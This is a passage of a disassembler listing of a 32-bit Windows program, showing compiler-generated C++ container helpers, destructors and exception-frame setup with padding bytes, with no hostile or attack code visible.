loc_414BE4:				; CODE XREF: ___:00414C2Dj
		lea	eax, [esp+20h]
		lea	ecx, [esp+4]
		push	eax
		call	sub_4011D1
		mov	ecx, [eax]
		call	sub_401B72
		test	eax, eax
		jnz	short loc_414C0C
		lea	ecx, [esp+4]
		call	sub_4011D1
		mov	ecx, [eax]
		mov	[esp+8], ecx


loc_414C0C:				; CODE XREF: ___:00414BFBj
		lea	ecx, [esp+4]
		call	sub_4018B6
		lea	edx, [esp+0Ch]
		mov	ecx, esi
		push	edx
		call	sub_402234
		push	eax
		lea	ecx, [esp+8]
		call	sub_401AD7
		test	al, al
		jnz	short loc_414BE4


loc_414C2F:				; CODE XREF: ___:00414BE2j
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_414C77
		lea	eax, [esp+8]
		mov	ecx, esi
		push	eax
		call	sub_401154
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_414C52
		push	1
		call	sub_4011C7
; ---------------------------------------------------------------------------


loc_414C52:				; CODE XREF: ___:00414C49j
		lea	ecx, [esp+20h]
		mov	dword ptr [esp+18h], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		pop	esi
		mov	ecx, [esp+0Ch]
		mov	large fs:0, ecx
		add	esp, 18h
		retn	18h
; ---------------------------------------------------------------------------


loc_414C77:				; CODE XREF: ___:00414B9Ej
					; ___:00414C35j
		lea	ecx, [esp+20h]
		mov	dword ptr [esp+18h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+10h]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 18h
		retn	18h
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414CF0	proc near		; CODE XREF: sub_4011C7j
		push	esi
		mov	esi, ecx
		call	sub_401B45
sub_414CF0	endp

; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_414D08
		push	esi
		call	sub_436882
; ---------------------------------------------------------------------------
		add	esp, 4


loc_414D08:				; CODE XREF: ___:00414CFDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414D20	proc near		; CODE XREF: sub_401B45j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414D20
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+54h]
		mov	[esp+14h+var_4], 3
		call	sub_401578
sub_414D20	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+10h], 2
		call	sub_401226
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+10h], 1
		call	sub_401226
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+10h], 0
		call	sub_401226
		mov	ecx, esi
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414DC0	proc near		; CODE XREF: sub_4014BFj

var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_414DC0
		push	eax
		mov	large fs:0, esp
		sub	esp, 40h
		push	ebx
		push	esi
		mov	esi, [esp+54h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+32h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_414EBB
		sub	esp, 18h
		lea	eax, [esi+15h]
		mov	ecx, esp
		mov	[esp+70h+arg_0], esp
		push	eax
		call	sub_4014C9
		sub	esp, 18h
		mov	[esp+88h+var_4], 0
		mov	ecx, esp
		mov	[esp+88h+var_4C], esp
		push	offset byte_446F30
		call	sub_401861
		or	ebx, 0FFFFFFFFh
		mov	ecx, offset word_448C5E
		mov	[esp+88h+var_4], ebx
		call	sub_40210D
		test	al, al
		jz	loc_414FF0
		push	0
		push	5
		push	19h
		push	2
		push	4
		push	0Fh
		push	0Fh
		lea	ecx, [esp+74h+var_3C]
		push	21h
		push	ecx
		call	sub_4019B5
		add	esp, 24h
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+58h+var_4], 1
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D6075
		call	sub_401118
		lea	ecx, [esp+58h+var_3C]
		mov	[esp+58h+var_4], ebx
		call	sub_401226
		mov	al, 1
		mov	ecx, [esp+58h+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 4Ch
		retn	4
; ---------------------------------------------------------------------------


loc_414EBB:				; CODE XREF: sub_414DC0+36j
		lea	ecx, [edi+4]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_414FF0
		sub	esp, 18h
		lea	edx, [esi+54h]
		mov	ecx, esp
		mov	[esp+70h+arg_0], esp
		push	edx
		call	sub_4014C9
		sub	esp, 18h
		lea	eax, [esi+3Fh]
		mov	ecx, esp
		mov	[esp+88h+var_4C], esp
		push	eax
		mov	[esp+8Ch+var_4], 2
		call	sub_4014C9
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+0A0h+var_48], esp
		push	edx
		mov	byte ptr [esp+0A4h+var_4], 3
		call	sub_4014C9
		sub	esp, 18h
		mov	ecx, esi
		mov	eax, esp
		mov	[esp+0B8h+var_44], esp
		push	1
		push	offset asc_443600 ; " "
		push	2
		push	eax
		mov	byte ptr [esp+0C8h+var_4], 4
		call	sub_4011EA
		sub	esp, 18h
		mov	byte ptr [esp+0D0h+var_4], 5
		mov	ecx, esp
		mov	[esp+0D0h+var_40], esp
		push	1
		push	offset asc_443600 ; " "
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		or	ebx, 0FFFFFFFFh
		mov	ecx, offset word_448C5E
		mov	[esp+0D0h+var_4], ebx
		call	sub_40189D
		test	al, al
		jz	short loc_414FF0
		push	0
		push	4
		push	5
		push	14h
		push	10h
		push	5
		push	3
		push	3
		lea	edx, [esp+78h+var_24]
		push	1Bh
		push	edx
		call	sub_4019B5
		add	esp, 28h
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+58h+var_4], 6
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D6075
		call	sub_401118
		lea	ecx, [esp+58h+var_24]
		mov	[esp+58h+var_4], ebx
		call	sub_401226
		mov	al, 1
		mov	ecx, [esp+58h+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 4Ch
		retn	4
; ---------------------------------------------------------------------------


loc_414FF0:				; CODE XREF: sub_414DC0+82j
					; sub_414DC0+10Dj ...
		mov	ecx, [esp+58h+var_C]
		pop	edi
		pop	esi
		xor	al, al
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 4Ch
		retn	4
sub_414DC0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4150B0	proc near		; CODE XREF: sub_40132Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401EBA
sub_4150B0	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4150F0	proc near		; CODE XREF: sub_40171Cj

arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	esi, ecx
		push	0
		push	0
		mov	al, [edi]
		mov	[esi], al
		call	sub_401EBA
sub_4150F0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esi+4], eax
		push	ecx
		mov	ecx, edi
		mov	dword ptr [esi+8], 0
		call	sub_4016CC
		mov	edx, [eax]
		lea	eax, [esp+8]
		push	edx
		push	eax
		mov	ecx, edi
		call	sub_40113B
		mov	ecx, [eax]
		lea	edx, [esp+10h]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4012E9
		mov	eax, [eax]
		mov	ecx, esi
		push	eax
		call	sub_40172B
		mov	eax, esi
		pop	edi
		pop	esi
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415170	proc near		; CODE XREF: sub_401578j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401D89
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4012E9
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401465
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401CD5
sub_415170	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4151E0	proc near		; CODE XREF: sub_4012E9j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_40208B
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401DA7
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_4151E0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415220	proc near		; CODE XREF: sub_401D89j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401DA7
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_415220	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415250	proc near		; CODE XREF: sub_40147Ej

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401D89
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40215D
sub_415250	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415290	proc near		; CODE XREF: sub_401258j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_4]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401D89
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_4012E9
		mov	eax, [eax]
		lea	ecx, [esp+10h+var_8]
		push	ecx
		lea	ecx, [esp+14h+var_C]
		mov	[esp+14h+var_C], eax
		call	sub_401D5C
		test	al, al
		jz	short loc_41531D
		push	edi
		mov	edi, [esp+14h+arg_0]


loc_4152CF:				; CODE XREF: sub_415290+8Aj
		lea	ecx, [esp+14h+var_C]
		call	sub_401FA5
		mov	edx, [eax]
		mov	eax, [edi]
		cmp	edx, eax
		jnz	short loc_415301
		lea	eax, [esp+14h+arg_0]
		push	0
		push	eax
		lea	ecx, [esp+1Ch+var_C]
		call	sub_40156E
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_4]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401FAF
; ---------------------------------------------------------------------------
		jmp	short loc_41530A
; ---------------------------------------------------------------------------


loc_415301:				; CODE XREF: sub_415290+4Ej
		lea	ecx, [esp+14h+var_C]
		call	sub_4020A4


loc_41530A:				; CODE XREF: sub_415290+6Fj
		lea	eax, [esp+14h+var_8]
		lea	ecx, [esp+14h+var_C]
		push	eax
		call	sub_401D5C
		test	al, al
		jnz	short loc_4152CF
		pop	edi


loc_41531D:				; CODE XREF: sub_415290+38j
		pop	esi
		add	esp, 0Ch
		retn	4
sub_415290	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415360	proc near		; CODE XREF: sub_401E1Fj
		push	esi
		mov	esi, ecx
		call	sub_401EB5
		mov	eax, esi
		pop	esi
		retn
sub_415360	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415380	proc near		; CODE XREF: sub_401FA5j
		mov	eax, [ecx]
		push	eax
		call	sub_401EFB
		add	esp, 4
		retn
sub_415380	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4153A0	proc near		; CODE XREF: sub_4020A4j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_40208B
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_4153A0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4153D0	proc near		; CODE XREF: sub_401D5Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4015CD
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_4153D0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415400	proc near		; CODE XREF: sub_401F05j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401C7B
sub_415400	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415440	proc near		; CODE XREF: sub_4011B8j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_402234
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401983
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40132F
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401E1A
sub_415440	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4154B0	proc near		; CODE XREF: sub_401983j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_401249
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401CC6
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_4154B0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4154F0	proc near		; CODE XREF: sub_402234j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401CC6
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_4154F0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415520	proc near		; CODE XREF: sub_401EF1j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_402234
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401A96
sub_415520	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415560	proc near		; CODE XREF: sub_401924j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_402234
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401983
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40132F
		pop	esi
		add	esp, 0Ch
		retn
sub_415560	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4155B0	proc near		; CODE XREF: sub_401154j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_4]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_402234
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_401983
		mov	eax, [eax]
		lea	ecx, [esp+10h+var_8]
		push	ecx
		lea	ecx, [esp+14h+var_C]
		mov	[esp+14h+var_C], eax
		call	sub_401AD7
		test	al, al
		jz	short loc_41563D
		push	edi
		mov	edi, [esp+14h+arg_0]


loc_4155EF:				; CODE XREF: sub_4155B0+8Aj
		lea	ecx, [esp+14h+var_C]
		call	sub_4011D1
		mov	edx, [eax]
		mov	eax, [edi]
		cmp	edx, eax
		jnz	short loc_415621
		lea	eax, [esp+14h+arg_0]
		push	0
		push	eax
		lea	ecx, [esp+1Ch+var_C]
		call	sub_4010DC
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_4]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4017DF
; ---------------------------------------------------------------------------
		jmp	short loc_41562A
; ---------------------------------------------------------------------------


loc_415621:				; CODE XREF: sub_4155B0+4Ej
		lea	ecx, [esp+14h+var_C]
		call	sub_4018B6


loc_41562A:				; CODE XREF: sub_4155B0+6Fj
		lea	eax, [esp+14h+var_8]
		lea	ecx, [esp+14h+var_C]
		push	eax
		call	sub_401AD7
		test	al, al
		jnz	short loc_4155EF
		pop	edi


loc_41563D:				; CODE XREF: sub_4155B0+38j
		pop	esi
		add	esp, 0Ch
		retn	4
sub_4155B0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415680	proc near		; CODE XREF: sub_401037j
		push	esi
		mov	esi, ecx
		call	sub_401E79
		mov	eax, esi
		pop	esi
		retn
sub_415680	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4156A0	proc near		; CODE XREF: sub_4011D1j
		mov	eax, [ecx]
		push	eax
		call	sub_402126
		add	esp, 4
		retn
sub_4156A0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4156C0	proc near		; CODE XREF: sub_4018B6j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_401249
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_4156C0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4156F0	proc near		; CODE XREF: sub_401AD7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401EA6
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_4156F0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415720	proc near		; CODE XREF: sub_401843j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401DA2
sub_415720	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415760	proc near		; CODE XREF: sub_4014B5j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40114A
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4018F2
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401401
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401EF6
sub_415760	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4157D0	proc near		; CODE XREF: sub_4018F2j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_401BB8
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401D66
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_4157D0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415810	proc near		; CODE XREF: sub_40114Aj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401D66
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_415810	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415840	proc near		; CODE XREF: sub_401406j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_40114A
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401CFD
sub_415840	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415880	proc near		; CODE XREF: sub_401C62j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40114A
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4018F2
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401401
		pop	esi
		add	esp, 0Ch
		retn
sub_415880	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4158D0	proc near		; CODE XREF: sub_402130j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_4]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40114A
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_4018F2
		mov	eax, [eax]
		lea	ecx, [esp+10h+var_8]
		push	ecx
		lea	ecx, [esp+14h+var_C]
		mov	[esp+14h+var_C], eax
		call	sub_401339
		test	al, al
		jz	short loc_41595D
		push	edi
		mov	edi, [esp+14h+arg_0]


loc_41590F:				; CODE XREF: sub_4158D0+8Aj
		lea	ecx, [esp+14h+var_C]
		call	sub_40135C
		mov	edx, [eax]
		mov	eax, [edi]
		cmp	edx, eax
		jnz	short loc_415941
		lea	eax, [esp+14h+arg_0]
		push	0
		push	eax
		lea	ecx, [esp+1Ch+var_C]
		call	sub_401EA1
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_4]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401078
; ---------------------------------------------------------------------------
		jmp	short loc_41594A
; ---------------------------------------------------------------------------


loc_415941:				; CODE XREF: sub_4158D0+4Ej
		lea	ecx, [esp+14h+var_C]
		call	sub_40118B


loc_41594A:				; CODE XREF: sub_4158D0+6Fj
		lea	eax, [esp+14h+var_8]
		lea	ecx, [esp+14h+var_C]
		push	eax
		call	sub_401339
		test	al, al
		jnz	short loc_41590F
		pop	edi


loc_41595D:				; CODE XREF: sub_4158D0+38j
		pop	esi
		add	esp, 0Ch
		retn	4
sub_4158D0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4159A0	proc near		; CODE XREF: sub_402252j
		push	esi
		mov	esi, ecx
		call	sub_401E29
		mov	eax, esi
		pop	esi
		retn
sub_4159A0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4159C0	proc near		; CODE XREF: sub_40135Cj
		mov	eax, [ecx]
		push	eax
		call	sub_4017DA
		add	esp, 4
		retn
sub_4159C0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4159E0	proc near		; CODE XREF: sub_40118Bj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_401BB8
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_4159E0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415A10	proc near		; CODE XREF: sub_401339j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40144C
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_415A10	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



